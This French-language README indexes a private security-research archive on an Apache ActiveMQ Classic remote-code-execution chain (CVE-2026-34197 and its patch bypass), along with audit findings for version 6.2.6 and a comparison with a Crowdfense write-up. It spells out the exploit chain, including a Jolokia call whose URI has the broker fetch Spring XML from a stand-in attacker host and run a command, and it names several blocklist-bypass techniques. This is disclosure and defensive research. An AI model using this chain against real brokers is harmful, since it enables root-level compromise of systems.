Recherche sur l'exécution de code à distance (RCE) dans Apache ActiveMQ Classic : chaîne de contournement CVE-2026-34197 / CVE-2026-42588 + constats d'audit de hardened-6.2.6 + comparaison avec Crowdfense
Archive de recherche privée pour la chaîne d'exécution de code à distance Jolokia → addNetworkConnector → xbean/Spring-XML d'Apache ActiveMQ Classic (CVE-2026-34197 et son contournement de correctif CVE-2026-42588), plus un audit complet de recherche automatique de la version corrigée 6.2.6 et une comparaison côte à côte avec l'article public de contournement de Crowdfense.
Toute l'exploitation a été réalisée contre des courtiers de laboratoire locaux (Docker / auto-hébergés). Les charges utiles utilisent des hôtes attaquants fictifs.
| Dir | Phase | Description |
|---|---|---|
00-comparison-vs-crowdfense.md | Comparaison | Notre travail vs. l'article « ActiveMQ RCE Bypass » de Crowdfense, vérifié à la source fichier:ligne |
01-original-cve-2026-34197/ | Repro originale | Analyse + scripts PoC + charges utiles Spring-XML (lab : activemq-classic:5.18.6) |
02-reaudit-apr30/ | Matrice de versions | uid=0 sur 5.18.3 / 5.18.6 / 6.1.4 / 6.1.7 ; évaluation + PoC + version-matrix.sh |
03-reaudit-42588-42253/ | Contournement en direct | Contournement composite sans parenthèses (42588) + XSS MessageServlet (42253), reproduit en direct |
04-audit-6.2.6/ | Audit complet | Audit de recherche automatique du 6.2.6 durci : rapport final + registre des découvertes |
Les arbres sources du fournisseur et les distributions binaires utilisées pendant les laboratoires sont intentionnellement exclus (ils sont en amont, pas les nôtres).
Un appelant Jolokia authentifié (non authentifié sur 6.0.0–6.1.1 via CVE-2024-32114) invoque BrokerView.addNetworkConnector(uri) avec une URI de découverte conçue dont l'intérieur vm://…?brokerConfig=xbean:<url> force le courtier à charger un XML Spring contrôlé par l'attaquant, ce qui instancie avec empressement un bean ProcessBuilder avant la validation du courtier → exécution de commande OS.
POST /api/jolokia/ → BrokerView.addNetworkConnector(String)
→ static:(vm://evil?brokerConfig=xbean:http://ATTACKER/evil.xml)
→ VMTransportFactory dynamic broker creation → XBeanBrokerFactory
→ ResourceXmlApplicationContext loads Spring XML → ProcessBuilder bean → RCE
En résumé : trois découvertes sont prouvées en direct pour root/XSS ; l'audit 6.2.6 ajoute un ensemble plus large qui est vérifié à la source et évalué de manière adverse, mais pas encore détoné en direct. Aucun des suppléments 6.2.6 n'est une nouvelle RCE non authentifiée — le fournisseur a fermé ces portes ; le risque résiduel s'est déplacé vers l'autorisation et l'encodage de sortie.
| ID | Découverte | Classe | Sévérité | Auth | Preuve |
|---|---|---|---|---|---|
| CVE-2026-34197 | Jolokia addNetworkConnector → xbean Spring-XML RCE | RCE | Critique | Post-authentification (sans authentification 6.0.0–6.1.1) | En direct — uid=0 sur 5.18.3 / 5.18.6 / 6.1.4 / 6.1.7 |
| CVE-2026-42588 | Contournement composite sans parenthèses de la liste de blocage 34197 | RCE (contournement de correctif) | Critique | Post-authentification | En direct — uid=0 sur 5.19.6 + 6.2.0 patchés 34197 |
| CVE-2026-42253 | Injection d'en-tête MessageServlet → XSS stocké | Injection / XSS | Moyen | Post-authentification | En direct sur 6.2.0 |
| ID | Découverte | Classe | Sévérité | Auth | Notes |
|---|---|---|---|---|---|
| C1 | static: faille de liste de blocage → SSRF — static absente de DENIED_TRANSPORT_SCHEMES ; addNetworkConnector("static:(tcp://…)") → TCP sortant du courtier | SSRF | Moyen | Admin / JMX | Variante de sink au-delà de la même liste de blocage 34197/42588 que l'article couvre |
| B1 | Abonnement durable IDOR de suppression cross-clientId — removeSubscription se base sur le clientId fourni par le fil et n'est pas verrouillé dans AuthorizationBroker | Autorisation brisée / IDOR | Moyen | Post-authentification (pré-authentification si l'authentification du courtier est désactivée) | Le plus propre des nouveaux |
| B3 | LDAP mot de passe vide → liaison anonyme (LDAPLoginModule, aucune vérification de vacuité) | Contournement d'authentification | Moyen (conditionnel) | Pré-authentification | Conditionnel à ce que l'annuaire accepte les liaisons anonymes |
| A1–A7 | Famille d'injection d'encodage de sortie de la console — MessageId.textView contrôlé par l'attaquant (OpenWire v10+ et AMQP) non échappé dans ~7 sinks JSP/REST + traversée de chemin FileSystemBlobStrategy | Injection | Faible–Moyen | Producteur → administrateur | Limité par CSP à l'injection HTML/contenu par défaut |
| B2 | Shiro WildcardPermission escalade de verbe par injection de deux-points | Élévation de privilèges | Faible–Moyen | Post-authentification | Shiro non par défaut |
| B4 | Autorisation de destination temporaire échec-ouvert asymétrique vs échec-fermé non temporaire | Autorisation brisée | Faible | Post-authentification | Par conception (AMQ-4721) ; note de durcissement |
| B5 | StatisticsBroker replyTo saute la ACL d'écriture lorsque le plugin est ordonné avant l'autorisation | Autorisation brisée | Faible | Post-authentification | Dépendant de l'ordre de configuration |
| B6 | Connexion par certificat DN non canonique (getSubjectDN().getName()) → collision d'identité parmi les certificats de même AC | Authentification | Faible | Pré-authentification (validé TLS) | « Tout certificat auto-signé » ne fonctionne pas |
| B7 | Usurpation JMSXUserID lorsque populateJMSXUserID=false (par défaut) | Usurpation | Faible | Post-authentification | — |
| F5 | Nom d'en-tête sortant STOMP jamais échappé → injection de trame vers un abonné co-locataire | Injection | Faible | Cross-protocole | STOMP activé |
AIOOBE ordinal MQTT QoS (QoS.values()[ordinal], cross-protocole, sans configuration) · OpenWireFormat.DEFAULT_MAX_FRAME_SIZE = Long.MAX_VALUE · NegativeArraySizeException signed-short dans le démarshalage OpenWire · job immortel AMQ_SCHEDULED_REPEAT négatif.
L'article Apache ActiveMQ RCE Bypass de Crowdfense couvre la même chaîne (ils la classent sous CVE-2026-34197 ; nous suivons le contournement comme son propre CVE-2026-42588). Les deux récits convergent sur une défense à trois couches ; la seule divergence est la couche 2.
| Couche | Défense | Crowdfense la contourne par | Nous l'avons contournée par |
|---|---|---|---|
| 1 | Liste de blocage de schéma (correctif 34197) | Composite sans parenthèses static:vm://… | Identique — trouvé indépendamment ✅ |
| 2 | Liste d'autorisation {file,classpath} xbean (#1910) | file:%2f%2f… encodé en pourcentage → Windows UNC → WebDAV → récupération HTTP distante | Fichier local xbean:/tmp/evil.xml (nécessite une écriture locale) |
| 3 | Passerelle de schéma VMTransportFactory (broker,properties, le correctif 42588 / 6.2.6) | Reconnu comme le coup fatal | Même conclusion ✅ |